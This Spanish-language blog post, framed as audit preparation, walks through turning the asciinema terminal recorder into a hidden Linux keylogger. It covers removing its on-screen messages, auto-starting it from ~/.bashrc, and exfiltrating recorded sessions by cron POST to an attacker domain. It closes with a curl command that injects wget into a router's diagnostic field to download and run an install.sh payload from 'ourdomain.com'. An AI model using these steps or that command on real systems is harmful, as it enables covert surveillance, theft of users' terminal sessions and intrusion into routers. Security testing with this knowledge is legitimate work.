Simple & crazy covert channels (I): Asciinema

En la preparación de nuestras auditorias muchas veces perdemos bastante tiempo desarrollando herramientas que requieren de un gran trabajo y que, en muchos casos, no llegan a pasar desapercibidas para esos usuarios con un perfil algo más técnico.
Sin embargo, existen otros métodos más sencillos (e igualmente efectivos) de llevar a cabo la exfiltración de información, como es a través de herramientas no pensadas en un primer momento para ello y, que con ajustes relativamente sencillos, nos permiten llevarlo a cabo.

Así pues, durante el siguiente artículo se llevará a cabo el análisis de la herramienta asciinema, así como las diferentes posibilidades de uso y como ésta puede ser integrada con un vector de ataque.

Asciinema es una herramienta bastante simpática que suelo utilizar para demos cuya única función es el registro de la sesión del usuario y la de facilitar una URL que nos permite compartir de forma sencilla la visualización de la actividad del usuario. Una información muy valiosa que puede ser usada de forma malintencionada.

A continuación vamos a ver si podríamos llegar a usarla como un keylogger de Linux y cuales serían las modificaciones necesarias a aplicar.

En primer lugar observamos cómo actúa la funcionalidad de registro de la sesión.

Tal y como se puede observar, tenemos unos mensajes de info que deberán ser eliminados, así como la URL donde se ha subido la muestra.
Más allá de esta información, no parece que modifique el entorno del usuario, por lo que seguimos adelante en busca de los archivos del código fuente que almacenan los mensajes de información.

Con un simple grep sobre la ruta de asciinema, encontramos que dichos mensajes se almacenan en el fichero asciinema/commands/record.py, así pues, vamos a eliminarlos.

También encontramos que la salida por pantalla de la URL se debe borrar en el fichero encargado de la subida: asciinema/commands/upload.py.

Tras esos cambios, ya tenemos nuestro asciinema sin dejar rastro:

Llegados a este punto, debemos subir nuestro fork de la herramienta a un github que no llame demasiado la atención.

A continuación debemos pensar cómo podemos integrar el registro de la sesión sin que el usuario se dé cuenta. Un modo sencillo sería a través de la introducción del comando en el archivo ~/.bashrc, así, cada vez que Pepito ejecute Bash, asciinema estará almacenando toda la sesión.

Una vez nuestra herramienta no puede ser detectada a simple vista, tenemos varias posibles opciones para la exfiltración de la sesión.
La primera de ellas es a través de la propia página de asciinema.org, la forma de identificar nuestro archivo es a través de asociar un identificador único al nombre del archivo con la opción -t, por ejemplo:

asciinema rec -t “ID_username”

Esto sería como lo implementaríamos en un script en Bash.

Este método llamaría menos la atención en cuanto a lo relativo a contactar con dominios de dudosa reputación pero impide una gestión cómoda de los resultados obtenidos.

Otro modo de hacerlo sería almacenando la sesión en un archivo local y exfiltrarlo a través de otro método.

Podemos utilizar el mismo identificador único para su identificación, así como la opción rec sin el argumento “-t”. Para ello, necesitaríamos la instalación de una serie de líneas de comandos, tanto en ~/.bashrc como en el crontab del sistema.

El tercer método (y más limpio), sería a través de la modificación del archivo asciinema/api.py, la cual incorpora la funcionalidad de subir el archivo a través de la API de la web.

Una vez ya tenemos ideado la funcionalidad completa del malware, únicamente sería necesario envolverlo para regalo.

Así pues, necesitaremos que se instale en el equipo nuestra versión modificada de asciinema (en este articulo vamos a dar por supuestos que el usuario tiene instalado git y python3), así como cargar las variables vinculadas al nombre para que la parte aleatoria sea modificada y ejecución del asciinema en el .bashrc en un archivo oculto.
Finalmente añadimos una entrada en el crontab que exfiltre a través de una petición POST los archivos a un dominio que se haya registrado.

Todo esto puede ser integrado a través del siguiente script en Bash:

Ahora que ya tenemos el registro de sesión y la exfiltración de información, sólo nos haría falta un vector de entrada al sistema Linux. Podemos utilizar la vulnerabilidad de moda en esos momentos, como, por ejemplo, alguna relacionada a routers de fibra…

Así pues, almacenamos toda la información anterior en un script de bash, el cual subiremos a nuestro dominio.

curl -k -d “XWebPageName=diag&diag_action=ping&wan_conlist=0&parametro_vulnerable=wget;wget -qO -http://ourdomain.com/install.sh;chmod +x install.sh;./install.sh&ipv=0” http://objetivo 

Así pues, con este sencillo método ya tendríamos una herramienta capturando toda la información de la sesión de usuario y su exfiltración a través de diferentes métodos.